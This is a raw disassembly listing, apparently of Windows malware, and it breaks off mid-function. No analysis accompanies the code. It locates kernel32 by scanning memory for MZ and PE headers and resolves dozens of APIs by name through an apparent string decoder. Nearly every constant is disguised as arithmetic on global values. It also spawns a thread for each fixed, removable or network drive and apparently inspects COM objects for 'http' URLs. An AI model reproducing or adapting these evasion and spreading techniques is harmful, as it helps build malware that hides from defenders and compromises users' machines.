push ds:dword_449790[edi*4]
call ds:dword_448654 ; CloseHandle
and ds:dword_449790[edi*4], 0
loc_439A5D: ; CODE XREF: sub_4399CB+56j
; sub_4399CB+7Bj
lea eax, [ebp+var_E]
push eax
call ds:dword_449668 ; GetDriveTypeA
mov [ebp+var_4], eax
cmp eax, 3
jz short loc_439AA5
cmp eax, 4
jz short loc_439AA5
cmp eax, 2
jz short loc_439AA5
cmp ds:dword_449790[edi*4], 0
jz loc_439B43
mov ebx, dword_44A0F8
movsx edx, word_44A0E8
add ebx, edx
sub ebx, 8
mov ds:dword_446630[edi*4], ebx
jmp loc_439B43
; ---------------------------------------------------------------------------
loc_439AA5: ; CODE XREF: sub_4399CB+A2j
; sub_4399CB+A7j ...
push 1
call ds:dword_445000 ; SetErrorMode
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_E]
push eax
call ds:dword_4460D4 ; GetDiskFreeSpaceA
mov ebx, dword_44A134
sub ebx, 8
cmp eax, ebx
jnz short loc_439AF1
cmp ds:dword_449790[edi*4], 0
jz short loc_439B43
movsx ebx, word_44A144
sub ebx, 6
mov ds:dword_446630[edi*4], ebx
jmp short loc_439B43
; ---------------------------------------------------------------------------
loc_439AF1: ; CODE XREF: sub_4399CB+107j
cmp ds:dword_449790[edi*4], 0
jnz short loc_439B43
mov ds:dword_446630[edi*4], edi
lea eax, [ebp+var_28]
push eax
movsx eax, word_44A264
add eax, dword_44A194
sub eax, 12h
push eax
lea ebx, ds:446630h[edi*4]
push ebx
push offset sub_43963B
mov ebx, dword_44A114
add ebx, dword_44A12C
sub ebx, 10h
push ebx
push 0
call ds:dword_449B90 ; CreateThread
mov ds:dword_449790[edi*4], eax
loc_439B43: ; CODE XREF: sub_4399CB+B6j
; sub_4399CB+D5j ...
inc edi
loc_439B44: ; CODE XREF: sub_4399CB+23j
cmp edi, 5Ah
jbe loc_4399F3
mov eax, dword_44A09C
sub eax, 5
push eax
call ds:dword_449630
pop ecx
jmp loc_4399E9
sub_4399CB endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
sub_439B69 proc near ; CODE XREF: sub_43EC0A+27Cp
push 2
call sub_43F5E2
push 0
call sub_43F5E2
add esp, 8
retn
sub_439B69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_439B7B proc near ; CODE XREF: sub_43EC0A+2EEp
var_30D = byte ptr -30Dh
var_30C = byte ptr -30Ch
var_308 = byte ptr -308h
var_302 = byte ptr -302h
var_203 = byte ptr -203h
var_108 = byte ptr -108h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_FF = byte ptr -0FFh
var_FE = byte ptr -0FEh
push ebp
mov ebp, esp
sub esp, 310h
push edi
push 0FFh
lea eax, [ebp+var_302]
push eax
call ds:dword_446600 ; GetSystemDirectoryA
lea eax, [ebp+var_203]
push eax
push dword_44A168
push 0
push 1Ch
push 0
call ds:dword_446A44
push offset byte_44B837
call sub_43C507
movsx edi, word_44A1B4
sub edi, 2
push edi
lea edi, [ebp+var_203]
push edi
push eax
push offset dword_4460F0
call ds:dword_449634
push offset dword_44B824
call sub_43C507
movsx edi, word_44A124
sub edi, 4
push edi
lea edi, [ebp+var_203]
push edi
push eax
push offset dword_447260
call ds:dword_449634
lea eax, sub_43F3B6
mov ds:dword_44962C, eax
lea eax, sub_43F3B6
mov ds:dword_44404C, eax
lea eax, sub_43D9B8
mov ds:dword_449774, eax
push offset dword_445020
call sub_43F189
movsx eax, word_44A170
mov edx, dword_44A184
lea eax, [eax+edx+6]
push eax
push offset dword_447230
call sub_43F353
lea eax, sub_440DA6
mov ds:dword_447228, eax
lea eax, sub_43B982
mov ds:dword_446A30, eax
lea eax, dword_4460F0
mov ds:dword_448640, eax
lea eax, dword_447260
mov ds:dword_444018, eax
lea eax, dword_449670
mov dword_44A370, eax
lea eax, [ebp+var_308]
push eax
movsx eax, word_44A230
sub eax, 6
push eax
push 0
push offset sub_439992
push dword_44A1C8
push 0
call ds:dword_449B90 ; CreateThread
push eax
call ds:dword_448654 ; CloseHandle
lea eax, [ebp+var_30C]
push eax
movsx eax, word_44A1E0
sub eax, 3
push eax
push 0
push offset sub_43855F
mov eax, dword_44A148
movsx edx, word_44A170
add eax, edx
sub eax, 4
push eax
push 0
call ds:dword_449B90 ; CreateThread
push eax
call ds:dword_448654 ; CloseHandle
mov eax, dword_44A25C
add eax, 2
mov ds:dword_446620, eax
mov eax, dword_44A0F8
sub eax, 6
push eax
lea eax, [ebp+var_FF]
push eax
call sub_440B97
add esp, 3Ch
mov eax, dword_44A0EC
cmp [ebp+eax+var_103], 64h
jnz short loc_439D58
movsx eax, [ebp+var_FE]
mov edx, dword_44A238
add edx, 1Ch
movsx ecx, word_44A27C
add edx, ecx
sub eax, edx
mov [ebp+var_30D], al
movzx eax, [ebp+var_30D]
push eax
push 0
call sub_440511
add esp, 8
mov eax, dword_44A204
dec eax
mov ds:dword_446620, eax
loc_439D58: ; CODE XREF: sub_439B7B+19Dj
mov eax, dword_44A284
cmp [ebp+eax+var_108], 67h
jnz short loc_439DB9
mov eax, dword_44A1D0
add eax, dword_44A25C
mov edx, dword_44A148
movsx ecx, word_44A22C
add edx, ecx
sub edx, 9
mov [ebp+eax+var_104], dl
lea eax, [ebp+var_FE]
push eax
call ds:dword_444054
mov [ebp-310h], eax
push eax
push offset dword_449670
call sub_43ABE3
add esp, 0Ch
mov eax, dword_44A1D0
sub eax, 7
mov ds:dword_446620, eax
loc_439DB9: ; CODE XREF: sub_439B7B+1EAj
pop edi
leave
retn
sub_439B7B endp
; =============== S U B R O U T I N E =======================================
sub_439DBC proc near ; DATA XREF: .data:0044A384o
mov eax, 80004001h
retn 10h
sub_439DBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_439DC4 proc near ; CODE XREF: sub_43C2C0+CDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_44A310
push offset dword_44A2D0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_442524
pop ebp
retn
sub_439DC4 endp
; =============== S U B R O U T I N E =======================================
sub_439DDE proc near ; CODE XREF: sub_43EC0A+Cp
push edi
push offset word_44B816
call sub_43C507
pop ecx
push eax
call ds:dword_4465E8 ; GetModuleHandleA
mov dword_44A29C, eax
test eax, eax
jnz short loc_439E11
push offset dword_44B808
call sub_43C507
pop ecx
push eax
call ds:dword_447244 ; LoadLibraryA
mov dword_44A29C, eax
loc_439E11: ; CODE XREF: sub_439DDE+1Aj
push offset byte_44B7F5
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44960C, eax
push offset word_44B7E2
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44864C, eax
push offset dword_44B7D0
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_446618, eax
push offset byte_44B7BF
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_447224, eax
push offset byte_44B7AB
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_444050, eax
push offset word_44B79A
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_445010, eax
push offset byte_44B783
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_4465F4, eax
push offset dword_44B774
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_448630, eax
push offset byte_44B767
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_444004, eax
push offset byte_44B755
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449628, eax
push offset dword_44B744
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449654, eax
push offset word_44B732
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449BA4, eax
push offset byte_44B723
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_447220, eax
push offset word_44B716
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449620, eax
push offset byte_44B707
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449644, eax
push offset byte_44B6F9
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_444040, eax
push offset byte_44B6E7
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_4460DC, eax
push offset byte_44B6D7
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_444014, eax
push offset byte_44B6CB
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_446A40, eax
push offset byte_44B6BF
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449604, eax
push offset byte_44B6AD
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_4465FC, eax
push offset byte_44B69B
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449658, eax
push offset byte_44B68D
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44965C, eax
push offset byte_44B679
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44977C, eax
push offset dword_44B668
call sub_43C507
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44963C, eax
push offset word_44B652
call sub_43C507
add esp, 68h
push eax
push dword_44A29C
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_444048, eax
pop edi
retn
sub_439DDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A0EE proc near ; CODE XREF: sub_43C2C0+20p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 4
push 1000h
push [ebp+arg_0]
push 0
call ds:dword_447248 ; VirtualAlloc
pop ebp
retn
sub_43A0EE endp
; =============== S U B R O U T I N E =======================================
sub_43A105 proc near ; CODE XREF: sub_44083E+257p
push edi
push offset dword_44B644
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449664, eax
push offset dword_44B63C
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44500C, eax
push offset dword_44B628
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_4465E8, eax
push offset dword_44B618
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_447244, eax
push offset byte_44B609
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449788, eax
push offset word_44B5FA
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_444008, eax
push offset dword_44B5E8
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449B9C, eax
push offset byte_44B5DB
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449B8C, eax
push offset dword_44B5CC
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_448654, eax
push offset byte_44B5BD
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449624, eax
push offset byte_44B5B1
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_444000, eax
push offset word_44B5A6
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_4460E0, eax
push offset byte_44B58F
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44400C, eax
push offset dword_44B578
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449640, eax
push offset word_44B562
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449608, eax
push offset word_44B552
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_444034, eax
push offset word_44B546
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_444028, eax
push offset word_44B536
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_447248, eax
push offset byte_44B527
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_448634, eax
push offset byte_44B519
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_446A34, eax
push offset dword_44B50C
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44661C, eax
push offset byte_44B4FB
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44725C, eax
push offset word_44B4EA
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44402C, eax
push offset word_44B4DA
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449770, eax
push offset dword_44B4C8
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_447258, eax
push offset byte_44B4B7
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_445004, eax
push offset word_44B4AA
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44660C, eax
push offset byte_44B499
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449668, eax
push offset dword_44B484
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449650, eax
push offset dword_44B474
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_445000, eax
push offset byte_44B45F
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_4460D4, eax
push offset word_44B452
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_447364, eax
push offset word_44B442
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44961C, eax
push offset dword_44B434
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_448648, eax
push offset word_44B41E
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44863C, eax
push offset byte_44B407
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_446600, eax
push offset byte_44B3EF
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_446A3C, eax
push offset byte_44B3D7
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_444010, eax
push offset word_44B3BE
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449614, eax
push offset byte_44B3AB
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449780, eax
push offset byte_44B393
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449778, eax
push offset word_44B382
call sub_43C507
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449B98, eax
push offset dword_44B370
call sub_43C507
add esp, 0ACh
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_4465F8, eax
pop edi
retn
sub_43A105 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A5C3 proc near ; CODE XREF: sub_44083E+20Fp
var_28C = dword ptr -28Ch
var_288 = dword ptr -288h
var_281 = byte ptr -281h
var_26C = byte ptr -26Ch
var_252 = byte ptr -252h
var_23D = byte ptr -23Dh
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_21F = byte ptr -21Fh
var_21E = byte ptr -21Eh
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_103 = byte ptr -103h
var_102 = byte ptr -102h
var_101 = byte ptr -101h
var_FE = byte ptr -0FEh
var_FD = byte ptr -0FDh
var_FC = byte ptr -0FCh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
movsx esi, word_44A1B4
mov edx, dword_44A280
lea ecx, [esi+edx+8]
shr edi, cl
mov esi, dword_44A270
add esi, 0Ah
add esi, dword_44A198
mov ecx, esi
mov ebx, edi
shl ebx, cl
loc_43A5FA: ; CODE XREF: sub_43A5C3+5Dj
; sub_43A5C3+99j ...
mov [ebp+var_114], ebx
mov eax, ebx
cmp word ptr [eax], 5A4Dh
jz short loc_43A622
movsx eax, word_44A0BC
movsx edx, word_44A104
lea eax, [eax+edx+0FFEFh]
sub ebx, eax
jmp short loc_43A5FA
; ---------------------------------------------------------------------------
loc_43A622: ; CODE XREF: sub_43A5C3+44j
movsx eax, word_44A230
mov edx, dword_44A1D4
lea eax, [eax+edx+34h]
mov edx, ebx
add edx, eax
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_118], edx
mov eax, [ebp+arg_0]
cmp edx, eax
jbe short loc_43A65E
mov eax, dword_44A1F4
add eax, 0FFFCh
sub ebx, eax
jmp short loc_43A5FA
; ---------------------------------------------------------------------------
loc_43A65E: ; CODE XREF: sub_43A5C3+8Bj
mov eax, [ebp+var_118]
mov [ebp+var_11C], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jz short loc_43A68B
mov eax, dword_44A0EC
add eax, 0FFFBh
add eax, dword_44A0F0
sub ebx, eax
jmp loc_43A5FA
; ---------------------------------------------------------------------------
loc_43A68B: ; CODE XREF: sub_43A5C3+AFj
mov eax, [ebp+var_11C]
mov eax, [eax+78h]
mov [ebp+var_120], eax
mov ecx, ebx
add ecx, eax
mov [ebp+var_110], ecx
mov eax, ecx
mov edx, ebx
add edx, [eax+0Ch]
push edx
lea eax, [ebp+var_103]
push eax
call sub_442F8C
mov eax, dword_44A25C
add eax, dword_44A138
sub eax, 8
mov [ebp+var_4], eax
jmp short loc_43A6ED
; ---------------------------------------------------------------------------
loc_43A6CB: ; CODE XREF: sub_43A5C3+140j
mov eax, [ebp+var_4]
mov al, [ebp+eax+var_103]
cmp al, 61h
jle short loc_43A6EA
cmp al, 7Ah
jge short loc_43A6EA
mov eax, [ebp+var_4]
lea eax, [ebp+eax+var_103]
sub byte ptr [eax], 20h
loc_43A6EA: ; CODE XREF: sub_43A5C3+114j
; sub_43A5C3+118j
inc [ebp+var_4]
loc_43A6ED: ; CODE XREF: sub_43A5C3+106j
mov eax, [ebp+var_4]
movsx eax, [ebp+eax+var_103]
mov edx, dword_44A0A0
sub edx, 4
cmp eax, edx
jnz short loc_43A6CB
cmp [ebp+var_103], 4Bh
jnz short loc_43A73B
cmp [ebp+var_102], 45h
jnz short loc_43A73B
cmp [ebp+var_101], 52h
jnz short loc_43A73B
cmp [ebp+var_FE], 4Ch
jnz short loc_43A73B
cmp [ebp+var_FD], 33h
jnz short loc_43A73B
cmp [ebp+var_FC], 32h
jz short loc_43A740
loc_43A73B: ; CODE XREF: sub_43A5C3+149j
; sub_43A5C3+152j ...
jmp loc_43A96F
; ---------------------------------------------------------------------------
loc_43A740: ; CODE XREF: sub_43A5C3+176j
movsx eax, word_44A264
add eax, dword_44A248
sub eax, 9
mov [ebp+var_108], eax
jmp loc_43A95A
; ---------------------------------------------------------------------------
loc_43A75B: ; CODE XREF: sub_43A5C3+3A6j
mov eax, [ebp+var_108]
movsx ecx, word_44A218
dec ecx
mul ecx
mov [ebp+var_228], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+20h]
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_224], edx
push edx
lea eax, [ebp+var_21F]
push eax
call sub_442F8C
movsx eax, word_44A240
mov edx, eax
add edx, dword_44A238
cmp byte ptr [ebp+edx+var_224+3], 47h
jnz loc_43A954
mov edx, dword_44A0A0
add edx, dword_44A120
cmp byte ptr [ebp+edx+var_228+2], 74h
jnz loc_43A954
cmp [ebp+eax+var_21E], 50h
jnz loc_43A954
movsx eax, word_44A178
movsx edx, word_44A0C0
add eax, edx
cmp [ebp+eax+var_21F], 63h
jnz loc_43A954
mov eax, dword_44A234
add eax, dword_44A154
cmp byte ptr [ebp+eax+var_224+1], 41h
jnz loc_43A954
mov eax, dword_44A1A0
add eax, 2
add eax, dword_44A23C
cmp [ebp+eax+var_21F], 72h
jnz loc_43A954
mov eax, [ebp+var_108]
mov ecx, dword_44A194
sub ecx, 7
mul ecx
mov [ebp+var_288], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+24h]
mov [ebp+var_114], edx
movzx eax, word ptr [edx]
mov [ebp+var_22C], eax
movsx ecx, word_44A144
sub ecx, 2
mul ecx
mov [ebp+var_28C], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+1Ch]
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_230], edx
mov dword_44A294, ebx
mov ds:dword_4461F8, edx
lea edi, [ebp+var_23D]
lea esi, aCreatethread ; "CreateThread"
mov ecx, 0Dh
rep movsb
lea edi, [ebp+var_252]
lea esi, aEntercriticals ; "EnterCriticalSection"
mov ecx, 15h
rep movsb
lea edi, [ebp+var_26C]
lea esi, aInitializecrit ; "InitializeCriticalSection"
mov ecx, 0Dh
rep movsw
lea edi, [ebp+var_281]
lea esi, aLeavecriticals ; "LeaveCriticalSection"
mov ecx, 15h
rep movsb
lea eax, [ebp+var_23D]
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449B90, eax
lea eax, [ebp+var_252]
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449660, eax
lea eax, [ebp+var_26C]
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_445008, eax
lea eax, [ebp+var_281]
push eax
push dword_44A294
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_448650, eax
jmp short loc_43A96F
; ---------------------------------------------------------------------------
loc_43A954: ; CODE XREF: sub_43A5C3+1F1j
; sub_43A5C3+20Bj ...
inc [ebp+var_108]
loc_43A95A: ; CODE XREF: sub_43A5C3+193j
mov eax, [ebp+var_110]
mov eax, [eax+18h]
cmp [ebp+var_108], eax
jb loc_43A75B
loc_43A96F: ; CODE XREF: sub_43A5C3:loc_43A73Bj
; sub_43A5C3+38Fj
pop edi
pop esi
pop ebx
leave
retn
sub_43A5C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A974 proc near ; CODE XREF: sub_440EE8+4Ap
var_10034 = dword ptr -10034h
var_10030 = byte ptr -10030h
var_1002C = dword ptr -1002Ch
var_10028 = dword ptr -10028h
var_10024 = dword ptr -10024h
var_10020 = byte ptr -10020h
var_10018 = dword ptr -10018h
var_10010 = dword ptr -10010h
var_1000C = dword ptr -1000Ch
var_10008 = dword ptr -10008h
var_10003 = byte ptr -10003h
var_10002 = byte ptr -10002h
var_10001 = byte ptr -10001h
var_10000 = byte ptr -10000h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10034h
call sub_442F6C
push ebx
push esi
push edi
cmp dword_44A370, 0
jnz short loc_43A9A4
mov eax, dword_44A0D4
add eax, dword_44A280
cmp ds:dword_446620, eax
jb loc_43ABDE
loc_43A9A4: ; CODE XREF: sub_43A974+17j
lea eax, [ebp+var_10020]
push eax
call ds:dword_444038
lea eax, [ebp+var_10030]
push eax
lea eax, [ebp+var_10020]
push eax
push 9
mov eax, dword_44A148
sub eax, 2
push eax
push [ebp+arg_0]
call ds:dword_447254
mov edi, eax
mov eax, dword_44A0F4
sub eax, 7
cmp edi, eax
jnz loc_43ABDE
mov esi, [ebp+var_10018]
and [ebp+var_1000C], 0
lea eax, [ebp+var_1000C]
push eax
push offset dword_44BAD8
push esi
mov edx, [esi]
call dword ptr ds:0[edx]
mov edi, eax
movsx eax, word_44A1F0
sub eax, 3
cmp edi, eax
jnz loc_43ABDE
lea eax, [ebp+var_10024]
push eax
mov eax, [ebp+var_1000C]
push eax
mov edx, [eax]
call dword ptr [edx+78h]
mov edi, eax
mov eax, dword_44A1A0
sub eax, 3
cmp edi, eax
jnz loc_43ABD8
lea eax, [ebp+var_10003]
push eax
push [ebp+var_10024]
call sub_43C434
add esp, 8
mov edx, eax
inc edx
mov [ebp+var_10034], edx
push [ebp+var_10024]
call ds:dword_449BA0
cmp [ebp+var_10003], 68h
jnz short loc_43AA8F
cmp [ebp+var_10002], 74h
jnz short loc_43AA8F
cmp [ebp+var_10001], 74h
jnz short loc_43AA8F
cmp [ebp+var_10000], 70h
jz short loc_43AA94
loc_43AA8F: ; CODE XREF: sub_43A974+FEj
; sub_43A974+107j ...
jmp loc_43ABD8
; ---------------------------------------------------------------------------
loc_43AA94: ; CODE XREF: sub_43A974+119j
lea eax, [ebp+var_10010]
push eax
mov eax, [ebp+var_1000C]
push eax
mov edx, [eax]
call dword ptr [edx+48h]
mov edi, eax
mov eax, dword_44A164
movsx edx, word_44A170
add eax, edx
sub eax, 6
cmp edi, eax
jnz loc_43ABD8
lea eax, [ebp+var_4]
push eax
push offset dword_44BA58
mov eax, [ebp+var_10010]
push eax
mov edx, [eax]
call dword ptr ds:0[edx]
mov edi, eax
movsx eax, word_44A264
add eax, dword_44A1F8
sub eax, 0Ch
cmp edi, eax
jnz loc_43ABCC
lea eax, [ebp+var_10008]
push eax
mov eax, [ebp+var_4]
push eax
mov edx, [eax]
call dword ptr [edx+1B0h]
mov edi, eax
movsx eax, word_44A150
add eax, dword_44A1EC
sub eax, 10h
cmp edi, eax
jnz loc_43ABC3
lea eax, [ebp+var_10028]
push eax
mov eax, [ebp+var_10008]
push eax
mov edx, [eax]
call dword ptr [edx+70h]
mov edi, eax
mov eax, dword_44A0F8
add eax, dword_44A110
sub eax, 0Ch
cmp edi, eax
jz short loc_43AB57
mov eax, [ebp+var_10008]
push eax
mov eax, [eax]
call dword ptr [eax+8]
jmp short loc_43ABC3
; ---------------------------------------------------------------------------
loc_43AB57: ; CODE XREF: sub_43A974+1D3j
xor ebx, ebx
mov eax, [ebp+var_10028]
cmp [ebp+var_10008], eax
jz short loc_43AB6A
xor ebx, ebx
inc ebx
loc_43AB6A: ; CODE XREF: sub_43A974+1F1j
mov eax, [ebp+var_10008]
push eax
mov eax, [eax]
call dword ptr [eax+8]
mov eax, [ebp+var_10028]
push eax
mov eax, [eax]
call dword ptr [eax+8]
or ebx, ebx
jnz short loc_43ABC3
lea eax, [ebp+var_1002C]
push eax
mov eax, [ebp+var_4]
push eax
mov edx, [eax]
call dword ptr [edx+20h]
mov edi, eax
mov eax, dword_44A268
sub eax, 4
cmp edi, eax
jnz short loc_43ABC3
push [ebp+var_1002C]
push [ebp+var_4]
call nullsub_2
push [ebp+var_1002C]
push [ebp+var_4]
call sub_44006A
add esp, 10h
loc_43ABC3: ; CODE XREF: sub_43A974+1A8j
; sub_43A974+1E1j ...
mov eax, [ebp+var_4]
push eax
mov eax, [eax]
call dword ptr [eax+8]
loc_43ABCC: ; CODE XREF: sub_43A974+17Bj
mov eax, [ebp+var_10010]
push eax
mov eax, [eax]
call dword ptr [eax+8]
loc_43ABD8: ; CODE XREF: sub_43A974+C7j
; sub_43A974:loc_43AA8Fj ...
push esi
mov eax, [esi]
call dword ptr [eax+8]
loc_43ABDE: ; CODE XREF: sub_43A974+2Aj
; sub_43A974+6Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_43A974 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43ABE3 proc near ; CODE XREF: sub_439B7B+229p
; sub_43AF47+37Bp ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
